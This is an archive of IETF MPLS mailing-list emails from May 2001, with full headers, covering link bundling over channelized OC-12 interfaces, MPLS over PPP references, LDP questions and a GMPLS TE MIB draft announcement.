Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoge14618
	for <mpls@uu.net>; Wed, 9 May 2001 10:07:51 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoge16885
	for <mpls@uu.net>; Wed, 9 May 2001 10:07:51 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id GAA17915 for mpls@uu.net; Wed, 9 May 2001 06:07:50 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoge03339
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 10:07:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoge16936
	for <mpls@UU.NET>; Wed, 9 May 2001 10:06:30 GMT
Received: from alemail1.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alemail1.lucent.com [192.11.221.161])
	id QQkoge14590
	for <mpls@UU.NET>; Wed, 9 May 2001 10:06:29 GMT
Received: from alemail1.firewall.lucent.com (localhost [127.0.0.1])
	by alemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f49A6Tt17463
	for <mpls@UU.NET>; Wed, 9 May 2001 06:06:29 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by alemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f49A6Sd17445
	for <mpls@UU.NET>; Wed, 9 May 2001 06:06:29 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id MAA17817; Wed, 9 May 2001 12:06:28 +0200 (MET DST)
Cc: "'Fong, Man Wing'" <MFong@whiterocknetworks.com>,
        Bala Rajagopalan <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>, ccamp@ops.ietf.org
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id MAA17708; Wed, 9 May 2001 12:06:24 +0200 (MET DST)
Message-ID: <3AF9169F.83943047@lucent.com>
Date: Wed, 09 May 2001 12:06:23 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Debanjan Saha <DSaha@tellium.com>
Original-CC: "'Fong, Man Wing'" <MFong@whiterocknetworks.com>,
        Bala Rajagopalan <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>, ccamp@ops.ietf.org
Subject: Re: Question about logical link in Link bundling
References: <0CD7D73C734BD411AEE100B0D022040401916351@mail1.tellium.com>
Content-Type: multipart/mixed;
 boundary="------------7178821E76A65B83EA95C59F"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------7178821E76A65B83EA95C59F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Debanjan,

Just a thought... those 12 DS3s terminating on the same router (and
providing access to 12 MPLS links) may terminate at the other ends on 12
different routers. With one physical (OC12) interface you have now made
(with the help of the transport network) connections with 12 other
routers. Very cost effective... 

Ofcourse you don't need a DS3 to be present in the STS1 is the router at
the other end of the transport network has a EC1 of (channelised) OC-N
interface. In this case you may deploy direct mapping of MPLS into STS1
payload (via PPP/HDLC or the new GFP encapsulation).

One further cost reduction step (for the case there are e.g. only 5
other routers connected) is to use STS1 virtual concatenation with GFP
encapsulation of MPLS. You can now size each of the 5 STS pipes between
1 and a Xi STS1s (STS-1-Xv) as long as the sum of X1+X2+X3+X4+X5 <= 12.

Regards,

Maarten

Debanjan Saha wrote:
> 
> Fong,
> You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
> However, if all of them are terminating on
> the same LSR, I'm not sure why you'll use a channelized
> OC-12 and not an OC-12c.
> 
> Debanjan
> 
> -----Original Message-----
> From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> Sent: Tuesday, May 08, 2001 5:04 PM
> To: 'Bala Rajagopalan'; mpls@UU.NET; 'Kireeti Kompella'
> Cc: ccamp@ops.ietf.org
> Subject: RE: Question about logical link in Link bundling
> 
> Bala,
> 
> Correct me if I am wrong. For my understanding, a channelized OC-12
> interface can support 12 channels (12 logical DS3 interfaces). Some even
> capable of defining logical interface within those DS3 channel to support
> T1. Then, each logical DS3 interfaces can create a (logical) link to the
> remote routers' DS3 interfaces. The original used of the channelized OC-12
> interface is to reduce the cabling and additional equipment cost and labor
> cost at the central location. Since it is a channelized interface, I
> believe, it would not allow the user to use it as an OC-12c interface. By
> applying link bundling on that, now you can size your pipe whatever you want
> upto the maximum BW (in this case, it will be STS-12c). In addition, using
> O-UNI, you will get a true bandwidth on demand.
> 
> Just a thought.
> 
> Man Wing
> 
>  -----Original Message-----
> From:   Bala Rajagopalan [mailto:BRaja@tellium.com]
> Sent:   Tuesday, May 08, 2001 3:24 PM
> To:     'Fong, Man Wing'; mpls@UU.NET; 'Kireeti Kompella'
> Cc:     ccamp@ops.ietf.org
> Subject:        RE: Question about logical link in Link bundling
> 
> Hello,
> 
> I'm a bit confused by the question. If you
> had a channelized OC-12 link, wouldn't you
> just advertise it with suitable Min Reservable
> Bw values to indicate that it can carry lower
> granularity traffic? In other words, why would
> you introduce the notion of a "logical" link
> in this case?
> 
> REgards,
> 
> Bala Rajagopalan
> Tellium, Inc.
> 2 Crescent Place
> P.O. Box 901
> Oceanport, NJ 07757-0901
> Tel: (732) 923-4237
> Fax: (732) 923-9804
> Email: braja@tellium.com
> 
> > -----Original Message-----
> > From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> > Sent: Monday, April 30, 2001 3:31 PM
> > To: mpls@UU.NET; 'Kireeti Kompella'
> > Cc: ccamp@ops.ietf.org
> > Subject: Question about logical link in Link bundling
> >
> >
> > Hi All,
> >
> > From "draft-kompella-mpls-bundle-05.txt", it indicates that
> > multiple links
> > between two LSRs can be bundled as a single link to improve
> > the routing
> > scalability. Apparently, it can be used to bundle multiple links from
> > multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> > etc...) to be a single link. However, can it be used to
> > bundle logical links
> > like T1s in channelized T3, or DS3s, STS-3c in channelized
> > OC-12 interface?
> >
> > Thanks.
> >
> > Regards,
> > Man Wing
> >
> >
> >
--------------7178821E76A65B83EA95C59F
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Lucent Technologies Nederland;NA&CPSE
version:2.1
email;internet:mvissers@lucent.com
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------7178821E76A65B83EA95C59F--



From owner-mpls@UU.NET  Wed May  9 10:10:48 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA07502
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:10:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogu27912;
	Wed, 9 May 2001 14:10:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkogu02644
	for mpls-outgoing; Wed, 9 May 2001 14:09:44 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkogu02562
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:09:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkogu20958
	for <mpls@uu.net>; Wed, 9 May 2001 14:09:20 GMT
Received: from exchange01.movaz.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.47.82.134])
	id QQkogu26267
	for <mpls@uu.net>; Wed, 9 May 2001 14:09:20 GMT
Received: from BLIULAPTOP ([64.47.72.35]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Wed, 9 May 2001 10:06:23 -0400
Message-ID: <007a01c0d891$3a688600$23482f40@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: <mpls@UU.NET>, <ccamp@ops.ietf.org>
References: <66E0B27B8A29D511B19600D0B744446527AE4D@192-168-1-220.customer.algx.net> <3AF913AB.EAA21B5B@lucent.com>
Subject: GMPLS TE MIB
Date: Wed, 9 May 2001 10:06:21 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 09 May 2001 14:06:23.0609 (UTC) FILETIME=[3AE18690:01C0D891]
Sender: owner-mpls@UU.NET
Precedence: bulk

We have submitted a draft to extend the TE-MIB to support
GMPLS.
This is available at
http://search.ietf.org/internet-drafts/draft-nadeau-mpls-gmp
ls-te-mib-00.txt

We would welcome your thoughts and comments

Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com




From owner-mpls@UU.NET  Wed May  9 10:25:31 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA08263
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:25:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogv20709;
	Wed, 9 May 2001 14:23:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkogv12820
	for mpls-outgoing; Wed, 9 May 2001 14:22:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkogv12790
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:22:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogv10556
	for <mpls@uu.net>; Wed, 9 May 2001 14:21:57 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkogv18358
	for <mpls@uu.net>; Wed, 9 May 2001 14:21:57 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f49ELun03549
	for <mpls@uu.net>; Wed, 9 May 2001 07:21:56 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA21501 for mpls@uu.net; Wed, 9 May 2001 10:21:55 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkofy18313
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 08:37:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkofy19963
	for <mpls@uu.net>; Wed, 9 May 2001 08:36:43 GMT
From: PietroVittorio.Grandi@alcatel.it
Received: from tlvsdy.vim.tlt.alcatel.it by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tlvsdy.vim.tlt.alcatel.it [194.243.74.244])
	id QQkofy00509
	for <mpls@uu.net>; Wed, 9 May 2001 08:36:42 GMT
Received: from tlvhdk.netit.alcatel.it (tlvhgd.netit.alcatel.it [151.98.14.48])
	by tlvsdy.vim.tlt.alcatel.it (8.9.3+Sun/8.9.3) with ESMTP id KAA23639;
	Wed, 9 May 2001 10:37:08 +0200 (MET DST)
Received: from localhost (root@localhost)
	by tlvhdk.netit.alcatel.it (8.8.6 (PHNE_17135)/8.8.6) with SMTP id KAA28090;
	Wed, 9 May 2001 10:32:29 +0200 (METDST)
X-OpenMail-Hops: 1
Date: Wed, 9 May 2001 10:24:01 +0200
Message-Id: <H000082b00b8af71@MHS>
Subject: MPLS NCP for PPP interfaces
MIME-Version: 1.0
TO: ietf-ppp@merit.edu, mpls@UU.NET
CC: Italo.Busi@netit.alcatel.it, PietroVittorio.Grandi@netit.alcatel.it
Content-Type: multipart/mixed; boundary="openmail-part-02bf1ebd-00000001"
Sender: owner-mpls@UU.NET
Precedence: bulk


--openmail-part-02bf1ebd-00000001
Content-Type: text/plain; charset=US-ASCII; name="BDY.TXT"
Content-Disposition: inline; filename="BDY.TXT"
Content-Transfer-Encoding: 7bit

Hi all,

could you please give us some references to RFCs or Drafts
about MPLS NCP for PPP interfaces ?

Thank you

Pietro Grandi
Italo Busi

----------------------------------------------
Reality is merely an illusion, albeit a very persistent one.
(A. Einstein)
 

--openmail-part-02bf1ebd-00000001
Content-Type: application/octet-stream; name="Grandi Pietro (E-mail).vcf"
Content-Disposition: attachment; filename="Grandi Pietro (E-mail).vcf"
Content-Transfer-Encoding: base64

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpOOlBpZXRybztHcmFuZGkNCkZOOkdyYW5kaSBQ
aWV0cm8gKEUtbWFpbCkNCk9SRzpBbGNhdGVsO0FETSBSJkQNClRFTDtXT1JLO1ZPSUNFOisz
OSAwMzkgNjg2IDQ5MzANClRFTDtXT1JLO0ZBWDorMzkgMDM5IDY4NiAzNTkwDQpBRFI7V09S
Szo7QURNIFN5c3RlbSBMYWI7VmlhIFRyZW50byAzMDtWaW1lcmNhdGU7TWlsYW47MjAwNTk7
SXRhbHkNCkxBQkVMO1dPUks7RU5DT0RJTkc9UVVPVEVELVBSSU5UQUJMRTpBRE0gU3lzdGVt
IExhYj0wRD0wQVZpYSBUcmVudG8gMzA9MEQ9MEFWaW1lcmNhdGUsIE1pbGFuIDIwMDU5PTBE
PTBBSXRhbHkNCkVNQUlMO1BSRUY7SU5URVJORVQ6cGlldHJvdml0dG9yaW8uZ3JhbmRpQG5l
dGl0LmFsY2F0ZWwuaXQNClJFVjoyMDAwMDkwNlQxNjQyNDZaDQpFTkQ6VkNBUkQNCg==

--openmail-part-02bf1ebd-00000001--



From owner-mpls@UU.NET  Wed May  9 10:38:47 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09101
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:38:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogw13469;
	Wed, 9 May 2001 14:36:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkogw14556
	for mpls-outgoing; Wed, 9 May 2001 14:35:43 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkogw14541
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:35:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogw06840
	for <mpls@UU.NET>; Wed, 9 May 2001 14:33:51 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkogw09387
	for <mpls@UU.NET>; Wed, 9 May 2001 14:33:50 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 4742694006; Wed,  9 May 2001 10:33:50 -0400 (EDT)
Message-ID: <3AF9554E.405AA454@sandburst.com>
Date: Wed, 09 May 2001 10:33:50 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: PietroVittorio.Grandi@alcatel.it
Cc: ietf-ppp@merit.edu, mpls@UU.NET, Italo.Busi@netit.alcatel.it,
        PietroVittorio.Grandi@netit.alcatel.it
Subject: Re: MPLS NCP for PPP interfaces
References: <H000082b00b8af71@MHS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Pietro Grandi,

    See section 4.2 of RFC 3032, available at:

        http://www.ietf.org/rfc/rfc3032.txt

You wrote:

> Hi all,
>
> could you please give us some references to RFCs or Drafts
> about MPLS NCP for PPP interfaces ?
>
> Thank you
>
> Pietro Grandi
> Italo Busi
>
> ----------------------------------------------
> Reality is merely an illusion, albeit a very persistent one.
> (A. Einstein)
>

--
Eric Gray
----------------------------------------------
Persitence is a relative term; relatives are only persitent when
you don't want them to be...



From owner-mpls@UU.NET  Wed May  9 10:43:09 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09339
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:43:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogw15289;
	Wed, 9 May 2001 14:40:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkogw14995
	for mpls-outgoing; Wed, 9 May 2001 14:39:45 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkogw14969
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:39:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkogw18243
	for <mpls@UU.NET>; Wed, 9 May 2001 14:39:11 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkogw04112
	for <mpls@UU.NET>; Wed, 9 May 2001 14:39:11 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA21769;
	Wed, 9 May 2001 10:39:06 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA21500;
	Wed, 9 May 2001 10:39:07 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <JJTLNZVC>; Wed, 9 May 2001 10:38:49 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5510B64B@vie-msgusr-01.dc.fore.com>
From: "Topatan, Kutlay" <Kutlay.Topatan@marconi.com>
To: "'PietroVittorio.Grandi@alcatel.it'"
	 <PietroVittorio.Grandi@alcatel.it>,
        ietf-ppp@merit.edu, mpls@UU.NET
Cc: Italo.Busi@netit.alcatel.it, PietroVittorio.Grandi@netit.alcatel.it
Subject: RE: MPLS NCP for PPP interfaces
Date: Wed, 9 May 2001 10:39:06 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

RFC 3032 Section 4.2

k.

> 
> could you please give us some references to RFCs or Drafts
> about MPLS NCP for PPP interfaces ?
> 
> Thank you
> 
> Pietro Grandi
> Italo Busi


From owner-mpls@UU.NET  Wed May  9 10:43:58 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09400
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:43:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogw23589;
	Wed, 9 May 2001 14:41:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkogw15271
	for mpls-outgoing; Wed, 9 May 2001 14:41:27 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkogw15069
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:40:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkogw20158
	for <mpls@UU.NET>; Wed, 9 May 2001 14:40:01 GMT
Received: from noya.bupt.edu.cn by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: noya.bupt.edu.cn [202.112.96.2])
	id QQkogw04903
	for <mpls@UU.NET>; Wed, 9 May 2001 14:39:48 GMT
Received: from vinus ([202.112.109.71])
	by noya.bupt.edu.cn (8.11.3/8.10.1) with SMTP id f49Djtv01114;
	Wed, 9 May 2001 21:46:08 +0800 (CST)
Message-Id: <200105091346.f49Djtv01114@noya.bupt.edu.cn>
Date: Wed, 9 May 2001 21:44:12 +0800
From: Felix Chang <mplszhz@263.net>
To: Hans Sj?strand <hans@ipunplugged.com>, mpls_maillist <mpls@UU.NET>
Subject: RE: RE: Parameters in LDP entity table
X-mailer: FoxMail 3.11 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

hi,Hasse

	Thank you a lot! I have understood what you meant.
	And I have another question: Since LSP is unidirectional, 
May we specify different distribution methods on the two directions
of a LDP session?

Best regards!
				Felix Chang
					mplszhz@263.net





From owner-mpls@UU.NET  Wed May  9 10:47:51 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09620
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 10:47:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogx29759;
	Wed, 9 May 2001 14:45:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkogw15585
	for mpls-outgoing; Wed, 9 May 2001 14:44:42 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkogw15559
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 14:44:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkogw28811
	for <mpls@UU.NET>; Wed, 9 May 2001 14:43:49 GMT
Received: from noya.bupt.edu.cn by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: noya.bupt.edu.cn [202.112.96.2])
	id QQkogw09198
	for <mpls@UU.NET>; Wed, 9 May 2001 14:43:47 GMT
Received: from vinus ([202.112.109.71])
	by noya.bupt.edu.cn (8.11.3/8.10.1) with SMTP id f49CjUv00289
	for <mpls@UU.NET>; Wed, 9 May 2001 20:45:30 +0800 (CST)
Message-Id: <200105091245.f49CjUv00289@noya.bupt.edu.cn>
Date: Wed, 9 May 2001 20:43:47 +0800
From: Felix Chang <mplszhz@263.net>
To: mpls_maillist <mpls@UU.NET>
Subject: Fw: Re: rfc3031 section3.2
X-mailer: FoxMail 3.11 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA09620

mpls_maillisthi,Hailong Lu.sean£¡

	In my opinion, this section means that, when some packets that belong to the FEC
travelling through upstream node to downstream node, they use the label to represent 
these packets. But in the network, packets belong to the FEC may not travel through
 these two nodes. They may follow another path.

On 2001-05-08 16:49:00 you wrote£º
>Hi,there
>    I am new guy to MPLS.While reading rfc3031's section 3.2,there
>are some words I can't understand:
>
>   "To say that one node is upstream and one is downstream with respect
>   to a given binding means only that a particular label represents a
>   particular FEC in packets travelling from the upstream node to the
>   downstream node.  This is NOT meant to imply that packets in that FEC
>   would actually be routed from the upstream node to the downstream
>   node"
>
>   thanks.
>
>
>
>sean

	Best regards£¡

            Felix Chang
            mplszhz@263.net




From owner-mpls@UU.NET  Wed May  9 11:18:44 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11401
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 11:18:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogz20747;
	Wed, 9 May 2001 15:16:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkogz08272
	for mpls-outgoing; Wed, 9 May 2001 15:15:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkogz08250
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 15:15:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogz25139
	for <mpls@UU.NET>; Wed, 9 May 2001 15:15:21 GMT
Received: from wrnxchg.Whiterocknetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.whiterocknetworks.com [65.192.92.133])
	id QQkogz15891
	for <mpls@UU.NET>; Wed, 9 May 2001 15:15:21 GMT
Received: by 192-168-1-220.customer.algx.net with Internet Mail Service (5.5.2650.21)
	id <KPG82N4H>; Wed, 9 May 2001 10:14:18 -0500
Message-ID: <66E0B27B8A29D511B19600D0B744446527AE50@192-168-1-220.customer.algx.net>
From: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
To: "'Debanjan Saha'" <DSaha@tellium.com>,
        "Fong, Man Wing"
	 <MFong@WhiteRockNetworks.com>,
        Bala Rajagopalan <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Wed, 9 May 2001 10:14:17 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Debanjan,

As I mentioned in the email, the key is to provide bandwidth on demand.
Certainly, if the user needs the STS-12c link up all the time, the OC-12c
interface will make more sense. However, if the user doesn't need it all the
time, the OC-12c interface will tie the whole STS-12c BW. So that applying
link bundling on the channelized OC-12 interface can bundle a few channels
to create the right size link the user need between the routers, and the
unused STSs within the transport network can be used in somewhere else. 

What do you think?

Man Wing


 -----Original Message-----
From: 	Debanjan Saha [mailto:DSaha@tellium.com] 
Sent:	Tuesday, May 08, 2001 7:25 PM
To:	'Fong, Man Wing'; Bala Rajagopalan; mpls@UU.NET; 'Kireeti Kompella'
Cc:	ccamp@ops.ietf.org
Subject:	RE: Question about logical link in Link bundling

Fong,
You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
However, if all of them are terminating on
the same LSR, I'm not sure why you'll use a channelized
OC-12 and not an OC-12c.

Debanjan

-----Original Message-----
From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
Sent: Tuesday, May 08, 2001 5:04 PM
To: 'Bala Rajagopalan'; mpls@UU.NET; 'Kireeti Kompella'
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling


Bala,

Correct me if I am wrong. For my understanding, a channelized OC-12
interface can support 12 channels (12 logical DS3 interfaces). Some even
capable of defining logical interface within those DS3 channel to support
T1. Then, each logical DS3 interfaces can create a (logical) link to the
remote routers' DS3 interfaces. The original used of the channelized OC-12
